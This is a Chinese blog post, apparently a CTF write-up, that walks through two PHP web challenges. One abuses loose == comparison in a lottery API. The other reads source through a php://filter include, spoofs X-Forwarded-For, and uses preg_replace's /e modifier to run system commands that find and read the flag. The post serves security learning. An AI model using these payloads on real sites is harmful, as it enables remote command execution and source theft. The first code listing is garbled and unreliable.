跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP算法

Web 安全实战:PHP 弱类型与正则替换漏洞分析

综述由AI生成通过两个 Web 安全案例演示了 PHP 常见漏洞利用方法。第一个案例通过弱类型比较绕过数字验证获取奖金;第二个案例利用文件包含配合伪协议读取源码,并通过正则表达式替换功能执行系统命令获取 Flag。重点涉及 PHP 弱类型特性、preg_replace 函数危险用法及文件读取技巧。

疯疯癫癫发布于 2026/4/6更新于 2026/5/2331 浏览
Web 安全实战:PHP 弱类型与正则替换漏洞分析

一:Lottery

打开后发现这个靶场加载异常缓慢,然后提供了源码。我们先不看源码先熟悉一下这个网站是什么。

这应该是一个类似猜数字游戏,选对 7 个号码即可得到相应奖励。

随便输入 7 个数字发现一个也没中,白费 2 元。

尝试点击网站功能发现如果想要 flag 需要有相对应的余额。

思路是利用抓包看看能不能修改我们的余额。

好像成功了,但刷新后页面上的数字变回原来的余额,说明不能直接修改余额。

查看猜数字页面的 API 代码审计,核心代码如下:

//部分代码
function random_num(){ 
    do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); 
    if(!$cstrong){ response_error('server need be checked, tell admin'); } 
    $num /= 25; return strval(floor($num)); 
} 
function random_win_nums(){ 
    $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; 
} 
function buy($req){ 
    (); (); 
     = []; 
     = []; 
     = (); 
     = ; 
    (=; <; ++){ 
        ([] == []){ ++; } 
    } 
     () { 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
        :  = ; ; 
    } 
     +=  - ; 
    [] = ; 
    ([=>,=>, =>, =>, =>]); 
} 
require_registered
require_min_money
2
$money
$_SESSION
'money'
$numbers
$req
'numbers'
$win_numbers
random_win_nums
$same_count
0
for
$i
0
$i
7
$i
if
$numbers
$i
$win_numbers
$i
$same_count
switch
$same_count
case
2
$prize
5
break
case
3
$prize
20
break
case
4
$prize
300
break
case
5
$prize
1800
break
case
6
$prize
200000
break
case
7
$prize
5000000
break
default
$prize
0
break
$money
$prize
2
$_SESSION
'money'
$money
response
'status'
'ok'
'numbers'
$numbers
'win_numbers'
$win_numbers
'money'
$money
'prize'
$prize

关键点在于使用两个等号 == 来判断传入的数字和随机生成的数字。由于未检查类型,可以直接利用 PHP 的弱类型比较特性绕过验证。

将 numbers 字段改为 [true,true,true,true,true,true,true]。

成功利用弱类型得到奖金并拿到 flag。

二:ics-05

打开页面如下所示,随便点击发现只有此页面可打开,但是好像什么都没有。

打开页面源代码查看,发现一个 href 可点。

打开链接页面,修改其为 index.php 回显 ok。既然这样,如果我们能够读取到这个 index.php 应该就可以拿到 flag。

读取文件使用伪协议:

php://filter/read=convert.base64-encode/resource=index.php

复制这个 base64 然后解密。

打开代码后观察,如果 ip 为 127.0.0.1 就是 admin,然后还有一个 preg_replace 方法,pattern 第一个参数的结尾包含了 /e 修正符的话,第二个参数就会被当做 php 代码执行。

打开抓包工具,修改 IP 后为 admin。

然后添加三个参数:

?pat=/heihei/e&rep=system('find+-name+flag')&sub=heihei

需要使用 + 置换空格,得到 flag.php。

成功拿到 flag,但注意 flag 不在页面渲染中显示。

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

解密后的 index.php 代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开 | 关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的 hover 效果、二级菜单等功能,需要依赖 element 模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

三:总结

本文通过两个 Web 题目演示了如何利用代码审计和漏洞挖掘技术获取 flag。在 Lottery 题目中,通过分析网站的猜数字游戏功能,发现使用 PHP 的弱类型比较漏洞,成功绕过验证并获取奖金和 flag。在 ics-05 题目中,通过修改 IP 地址和利用 PHP 的 preg_replace 函数执行系统命令,成功读取并解密 index.php 文件,最终获取 flag。

目录

  1. 一:Lottery
  2. 二:ics-05
  3. 三:总结
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • 基于 STM32 的智能家居环境监测系统设计
  • C/C++ 输入输出实战:OJ 场景与性能优化
  • 算法实战:替换所有问号与提莫攻击详解
  • VS Code + GitHub Copilot 实战指南:从配置到高效协作
  • Qwen3-VL-WEBUI 多模态工具快速生成电商素材方案
  • 二分算法实战:查找有序数组中元素的首尾位置
  • 单片机开发中C语言为何仍是主流?对比C++生态与效率瓶颈
  • Midjourney 进阶:色调详解(上)
  • 阿里 CoPaw 桌面智能体工作台开源
  • Qwen-Image-2512 ComfyUI 部署实战:提升 AI 绘画真实感
  • Windows 10/11 部署 OpenClaw 机器人控制框架指南
  • 深度多模态数据融合综述
  • RAG 入门教程:LangChain 框架 v0.2 介绍
  • 循环神经网络(RNN)与序列数据处理实战
  • ComfyUI Manager 安装与配置指南
  • 2024 年大模型行业应用十大典范案例解析
  • Coze 与 Dify 对比:AI 智能体开发平台选型指南
  • 斯坦福 2025 AI Index Report 深度解读:技术扩散与产业变革
  • 程序员转型 AI 产品经理:核心能力与职业路径解析
  • VS Code 插件推荐:AI 辅助编码与代码注释优化

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online